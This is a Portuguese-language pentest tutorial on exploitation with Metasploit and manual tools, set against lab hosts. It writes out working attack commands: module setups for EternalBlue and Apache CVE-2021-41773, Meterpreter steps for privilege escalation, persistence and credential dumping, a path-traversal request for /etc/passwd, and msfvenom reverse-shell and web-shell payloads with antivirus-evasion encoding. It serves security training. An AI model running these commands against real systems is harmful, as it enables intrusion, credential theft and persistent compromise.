Avançado Pentest e Ofensiva
Exploração com Metasploit e manual — módulos, payloads, shells
Exploração é o momento em que uma vulnerabilidade identificada é usada para obter acesso. Requer precisão: exploit errado pode derrubar o serviço em produção. Nunca execute em sistemas sem autorização formal.
Metasploit Framework — estrutura básica
# Iniciar o console
msfconsole
# Buscar módulos por CVE ou nome
search cve:2021-44228 # Log4Shell
search type:exploit name:smb # exploits SMB
search platform:linux rank:excellent
# Selecionar e configurar módulo
use exploit/multi/handler
use exploit/windows/smb/ms17_010_eternalblue
show options # ver parâmetros necessários
show payloads # ver payloads compatíveis
Anatomia de um módulo Metasploit
Componentes:
Exploit → código que explora a vulnerabilidade
Payload → código executado após o exploit (shell, meterpreter)
Encoder → ofuscação do payload (evasão de AV)
NOP sled → preenchimento para alinhamento de memória
Tipos de payload:
singles → auto-contido, sem dependência de estágio
stagers → pequeno código que baixa o stage completo
stages → payload completo (meterpreter, VNC)
Notação:
windows/x64/meterpreter/reverse_tcp → stager + stage
windows/x64/shell_reverse_tcp → single
Exemplo: exploração de vulnerabilidade web (ambiente de lab)
# Cenário: Apache 2.4.49 com CVE-2021-41773 (path traversal + RCE)
# Host fictício de lab: 192.168.1.50
use exploit/multi/http/apache_normalize_path_rce
set RHOSTS 192.168.1.50
set RPORT 80
set LHOST 192.168.1.100 # sua máquina de ataque
set LPORT 4444
set PAYLOAD linux/x64/meterpreter/reverse_tcp
run
Meterpreter — shell avançado
# Comandos básicos no Meterpreter
sysinfo # OS, hostname, arquitetura
getuid # usuário atual
ps # processos rodando
upload arquivo.txt # enviar arquivo para o alvo
download /etc/passwd # baixar arquivo
shell # abrir shell nativo do OS
# Escalação de privilégios
getsystem # tenta elevar para SYSTEM (Windows)
run post/multi/recon/local_exploit_suggester # sugere exploits locais
# Persistência
run post/windows/manage/persistence_exe
run post/linux/manage/cron_persistence
# Dump de credenciais (Windows)
hashdump # hashes SAM
run post/windows/gather/credentials/credential_collector
Exploits manuais — sem Metasploit
Ferramentas alternativas e PoCs públicos:
# Buscar exploits por CVE
searchsploit apache 2.4.49
searchsploit -x exploits/linux/webapps/50383.sh # examinar antes de usar
# Copiar para diretório de trabalho
searchsploit -m exploits/linux/webapps/50383.sh
# Exploração via curl (Path Traversal CVE-2021-41773)
# Ambiente de lab: 192.168.1.50
curl "http://192.168.1.50/cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd"
# Exemplo SQLi manual (sempre em ambiente autorizado)
# Identificar ponto de injeção
# Extrair dados via UNION SELECT ou error-based
Geração de payloads com msfvenom
# Shell reverso Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o shell.elf
# Shell reverso Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe
# Payload PHP para web shell
msfvenom -p php/reverse_php LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php
# Com encoder para evasão básica
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-e x64/xor -i 5 \
-f exe -o payload_encoded.exe
Listener para capturar shell
# Via Metasploit (recomendado — mais estável)
use exploit/multi/handler
set PAYLOAD linux/x64/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run -j # rodar em background
# Via netcat (simples)
nc -lvnp 4444
Documentando a exploração
Para cada exploit executado, registre:
1. CVE / vulnerabilidade explorada
2. Comando exato utilizado
3. Resultado: acesso obtido? qual nível de privilégio?
4. Screenshot ou log da sessão
5. Timestamp
6. Impacto demonstrado (o que foi possível fazer com o acesso)
Esta documentação é a base do relatório de pentest.
Explorar é a menor parte do trabalho — documentar corretamente é o que transforma o acesso em valor para o cliente.